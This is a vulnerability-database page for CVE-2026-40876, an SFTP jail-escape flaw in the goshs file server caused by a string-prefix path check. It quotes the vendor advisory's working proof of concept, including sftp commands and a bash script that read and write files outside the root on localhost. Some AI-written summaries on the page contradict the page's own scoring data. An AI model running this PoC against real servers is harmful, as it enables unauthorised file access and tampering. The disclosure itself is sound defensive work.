Skip to main content

CVE-2026-40876

HIGH
Path Traversal (CWE-22)
2026-04-14 https://github.com/patrickhener/goshs GHSA-5h6h-7rc9-3824
8.7
CVSS 4.0 · Vendor: https://github.com/patrickhener/goshs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid SFTP credentials
  2. Delivery
    Connect to goshs SFTP service
  3. Exploit
    Issue ls or get command with sibling-prefix path
  4. Execution
    Download sensitive files outside jail
  5. Persist
    Upload malicious files to attacker-chosen paths
  6. Impact
    Achieve data exfiltration or code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires valid SFTP authentication credentials (SSH key matching an entry in the configured --sftp-keyfile authorized_keys file, or password if password auth is enabled). The goshs server must be running with the -sftp flag to enable the vulnerable SFTP subsystem; HTTP-only deployments are not exploitable via this path traversal. The attacker needs network access to the SFTP port (default 2222 or custom via --sftp-port). No special server configuration, non-default features, or user interaction is required beyond standard SFTP service operation. The attacker must know or discover a sibling directory path sharing a common prefix with the configured SFTP root (e.g., if root is /var/goshs_files, targeting /var/goshs_files_backup or /var/goshs_files2 will succeed). Exploitation is NOT limited by the goshs process's filesystem permissions-attackers can read/write any path accessible to the UID/GID running the goshs binary, making overly permissive service accounts a force multiplier. Local access and privilege escalation are NOT prerequisites; this is a remote attack vector from the network perspective of the SFTP port.

Impact

This vulnerability presents HIGH real-world risk despite missing CVSS scoring. The attack requires authentication but exploits default SFTP functionality with no additional prerequisites-any valid SFTP credential holder can immediately escape the jail. Public exploit code with video demonstrations confirms trivial exploitation requiring only standard sftp client commands and no specialized tooling. The technical impact is severe: unrestricted read/write access to the server's entire filesystem (bounded only by the goshs process's OS-level permissions), enabling data exfiltration, malware upload, configuration tampering, or service disruption through file deletion. Not currently listed in CISA KEV, suggesting targeted rather than mass exploitation to date, but the ease of exploitation and public POC availability make widespread abuse likely if the product gains adoption in sensitive environments. SSVC assessment: exploitation active (public POC), automatable (simple SFTP commands), technical impact total (arbitrary file system access within process permissions). Mitigation urgency is IMMEDIATE for any deployment exposing SFTP with multiple users or untrusted credentials, MODERATE for single-user or internal-only deployments where authentication trust is high. The Go package ecosystem's transparency (GitHub-hosted advisory) provides high confidence in affected version identification and patch availability.

Exploit ScenarioDerived

An attacker with valid SFTP credentials (SSH private key or password accepted by goshs's authorized_keys) connects to the SFTP service using a standard client like OpenSSH's sftp command. They issue ls /tmp/goshsroot_evil to list contents of a sibling directory outside the configured /tmp/goshsroot jail, bypassing the intended isolation. The attacker then downloads sensitive files (e.g., get /tmp/goshsroot_evil/database_backup.sql) to exfiltrate confidential data, or uploads malicious payloads (put /tmp/malware.sh /tmp/goshsroot_owned/startup.sh) to achieve code execution if the compromised path is referenced by another service. Public POC code and video demonstrations exist, trivializing exploitation to copy-paste SFTP command sequences.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 16, 2026

Authenticated SFTP users in goshs (a Go-based HTTP/SFTP file server) can read and write files outside the configured SFTP root directory via a path validation bypass. The vulnerability affects the SFTP subsystem in goshs beta.4 and earlier v2.x versions, exploiting a flawed string-prefix check that treats sibling directories (e.g., /tmp/goshsroot_evil) as valid when the configured root is /tmp/goshsroot. Public exploit code exists with video demonstrations showing complete jail escape, allowing authenticated attackers to list directories, download sensitive files, create arbitrary directories, and upload malicious content outside the intended boundary. Fix released in goshs v2.0.0 per vendor advisory GHSA-5h6h-7rc9-3824.

RemediationAI

Upgrade immediately to goshs v2.0.0 or later, released at https://github.com/patrickhener/goshs/releases/tag/v2.0.0, which replaces the flawed prefix check with directory-boundary-aware validation. The fix ensures that sanitizePath() appends a trailing path separator to the root before comparison (e.g., /tmp/goshsroot/ vs /tmp/goshsroot_evil/) or performs exact root equality checks, preventing sibling-directory escapes. For environments unable to upgrade immediately, disable SFTP functionality entirely by removing the -sftp flag and serving files via HTTP-only mode, accepting the loss of SFTP protocol support. Alternatively, deploy network-level access controls (firewall rules blocking SFTP port 2222 or configured alternative, IP allowlisting for trusted SFTP clients) to reduce attacker surface, though this does not eliminate the vulnerability for authenticated insiders. If SFTP must remain enabled during upgrade planning, audit all SFTP user credentials and rotate keys, review filesystem permissions to ensure the goshs process runs with minimal privileges (chroot jail or container isolation), and monitor file access logs for suspicious out-of-root paths. Trade-offs: HTTP-only mode loses encrypted file transfer and SSH key authentication; network restrictions may break legitimate remote access workflows; process-level privilege reduction limits damage scope but does not prevent the jail escape itself. No workaround fully mitigates the flaw-patching to v2.0.0 is the only complete solution.

Affected Packages

go github.com/patrickhener/goshs no fix
go github.com/patrickhener/goshs/v2 fix: 2.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the SFTP request handler pipeline within goshs, a lightweight file-sharing server written in Go. All SFTP file operations (read, write, list, rename, delete, mkdir) flow through sanitizePath() in sftpserver/helper.go, which performs path validation using filepath.Clean() followed by a raw strings.HasPrefix() check against the configured root. This approach is fundamentally insecure because HasPrefix() performs byte-level string matching without respecting filesystem directory boundaries. For example, if sftpRoot is /tmp/goshsroot, the check incorrectly validates /tmp/goshsroot_evil/secret.txt as safe because it shares the same character prefix, even though it represents a completely different directory tree. The sanitized path then propagates unchecked to os.Open, os.Create, os.Rename, os.RemoveAll, and os.Mkdir calls, enabling full filesystem operations outside the jail. This is a textbook example of CWE-22 (Path Traversal) where insufficient input validation allows attackers to reference files outside restricted directories. The vulnerability differs from classic ../ traversal attacks because it exploits prefix ambiguity rather than relative path resolution, making it bypass-friendly even when basic traversal filters exist.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patrickhener/goshs) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/patrickhener/goshs).

CVSS VectorVendor: https://github.com/patrickhener/goshs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 21, 2026 - 20:22 NVD
8.7 (HIGH)
Patch released
Apr 16, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 14, 2026 - 22:28 nvd
HIGH 8.7

DescriptionCVE.org

Summary

goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.

Details

The SFTP subsystem routes requests through sftpserver/sftpserver.go:99-126 into DefaultHandler.GetHandler() in sftpserver/handler.go:90-112, which forwards file operations into readFile, writeFile, listFile, and cmdFile. All of those sinks rely on sanitizePath() in sftpserver/helper.go:47-59. The vulnerable logic is:

go
cleanPath = filepath.Clean("/" + clientPath)
if !strings.HasPrefix(cleanPath, sftpRoot) {
    return "", errors.New("access denied: outside of webroot")
}

This is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is /tmp/goshsroot, then a sibling path such as /tmp/goshsroot_evil/secret.txt incorrectly passes validation since it starts with the same byte prefix.

That unsafe value then reaches filesystem sinks including:

  • os.Open in sftpserver/helper.go:80-94
  • os.Create in sftpserver/helper.go:139-152
  • os.Rename in sftpserver/helper.go:214-221
  • os.RemoveAll in sftpserver/helper.go:231-232
  • os.Mkdir in sftpserver/helper.go:242-243

This means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.

PoC

The configured SFTP root was /tmp/goshsroot, but the SFTP client was still able to access /tmp/goshsroot_evil/secret.txt and create /tmp/goshsroot_owned/pwned.txt, both of which are outside the configured root.

Manual verification commands used:

Terminal 1

bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
go build -o /tmp/goshs_beta4 ./

rm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key
mkdir -p /tmp/goshsroot /tmp/goshsroot_evil
printf 'outside secret\n' > /tmp/goshsroot_evil/secret.txt
printf 'proof via sftp write\n' > /tmp/local_upload.txt
cp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key
chmod 600 /tmp/goshs_beta4_client_key

/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \
  --sftp-keyfile sftpserver/authorized_keys \
  --sftp-host-keyfile sftpserver/goshs_host_key_rsa

Terminal 2

bash
printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

cat /tmp/outside_sftp.txt
cat /tmp/goshsroot_owned/pwned.txt

Expected result:

  • ls /tmp/goshsroot_evil succeeds even though that path is outside /tmp/goshsroot
  • cat /tmp/outside_sftp.txt prints outside secret
  • cat /tmp/goshsroot_owned/pwned.txt prints proof via sftp write

PoC Video 1:

https://github.com/user-attachments/assets/d2c96301-afc8-4ddc-b008-74b235f94e31

Single-script verification:

bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc1'

gosh_poc1 script content:

bash
#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
BIN='/tmp/goshs_beta4_sftp_escape'
ROOT='/tmp/goshsroot'
OUTSIDE='/tmp/goshsroot_evil'
OWNED='/tmp/goshsroot_owned'
CLIENT_KEY='/tmp/goshs_beta4_client_key'
DOWNLOAD='/tmp/outside_sftp.txt'
UPLOAD_SRC='/tmp/local_upload.txt'
PORT='2222'
SERVER_PID=""

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "${SERVER_PID}" >/dev/null 2>&1 || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

echo '[1/6] Building goshs beta.4'
cd "${REPO}"
go build -o "${BIN}" ./

echo '[2/6] Preparing root and sibling paths'
rm -rf "${ROOT}" "${OUTSIDE}" "${OWNED}" "${DOWNLOAD}" "${UPLOAD_SRC}" "${CLIENT_KEY}"
mkdir -p "${ROOT}" "${OUTSIDE}"
printf 'outside secret\n' > "${OUTSIDE}/secret.txt"
printf 'proof via sftp write\n' > "${UPLOAD_SRC}"
cp "${REPO}/sftpserver/goshs_client_key" "${CLIENT_KEY}"
chmod 600 "${CLIENT_KEY}"

echo '[3/6] Starting SFTP server'
"${BIN}" -sftp -d "${ROOT}" --sftp-port "${PORT}" \
  --sftp-keyfile "${REPO}/sftpserver/authorized_keys" \
  --sftp-host-keyfile "${REPO}/sftpserver/goshs_host_key_rsa" \
  >/tmp/gosh_poc1.log 2>&1 &
SERVER_PID=$!

for _ in $(seq 1 20); do
  if python3 - <<PY
import socket
s = socket.socket()
try:
    s.connect(("127.0.0.1", ${PORT}))
    raise SystemExit(0)
except OSError:
    raise SystemExit(1)
finally:
    s.close()
PY
  then
    break
  fi
  sleep 1
done

echo '[4/6] Listing and downloading path outside configured root'
printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
  sftp -i "${CLIENT_KEY}" -P "${PORT}" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

echo '[5/6] Writing a new file outside configured root'
printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
  sftp -i "${CLIENT_KEY}" -P "${PORT}" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

echo '[6/6] Verifying outside-root read and write'
echo "Downloaded content: $(cat "${DOWNLOAD}")"
echo "Written content: $(cat "${OWNED}/pwned.txt")"

if [[ "$(cat "${DOWNLOAD}")" == 'outside secret' ]] && [[ "$(cat "${OWNED}/pwned.txt")" == 'proof via sftp write' ]]; then
  echo '[RESULT] VULNERABLE: authenticated SFTP user escaped the configured root'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

PoC Video 2:

https://github.com/user-attachments/assets/25e7a4d7-6ec7-40a6-b3d4-d66df3ea3e5f

Impact

This is a path traversal / jail escape in the SFTP service. Any authenticated SFTP user can break out of the configured root and access sibling filesystem paths that were never meant to be exposed through goshs. In practice this can lead to unauthorized file disclosure, arbitrary file upload outside the shared root, unwanted directory creation, overwrite of sensitive files, or data deletion depending on the reachable path and server permissions.

Remediation

Suggested fixes:

  1. Replace the raw prefix check with a real directory-boundary validation such as requiring either exact root equality or root + path separator as the prefix.
  2. Reuse the hardened HTTP-style path sanitizer across SFTP as well, so all file-serving modes share the same boundary logic.
  3. Add regression tests for sibling-prefix cases like /tmp/goshsroot_evil, not only .. traversal payloads.

Executive ViewAI

Why It Matters

goshs v2.x (beta.4 and earlier) contains a path traversal vulnerability in its SFTP subsystem that allows authenticated users to escape the configured root directory and access arbitrary files on the server. This creates a critical data exposure and integrity risk for organizations using goshs as an SFTP server, enabling attackers with valid credentials to read sensitive files, download data, and upload malicious content beyond intended access boundaries.

Business Impact: High
Compensating Controls

Vendor-released patch: goshs v2.0.0. Until upgrade is completed: (1) Disable SFTP subsystem if not operationally required; (2) Restrict SFTP access to a firewall-protected network segment and trusted IP addresses only; (3) Implement filesystem-level monitoring on parent directories of SFTP roots to detect unauthorized access; (4) Review and revoke SFTP user credentials, limiting accounts to those with demonstrated business need.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Affected Products (CPE)CVE.org

pkg:go/github.com_patrickhener_goshs
pkg:go/github.com_patrickhener_goshs_v2

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy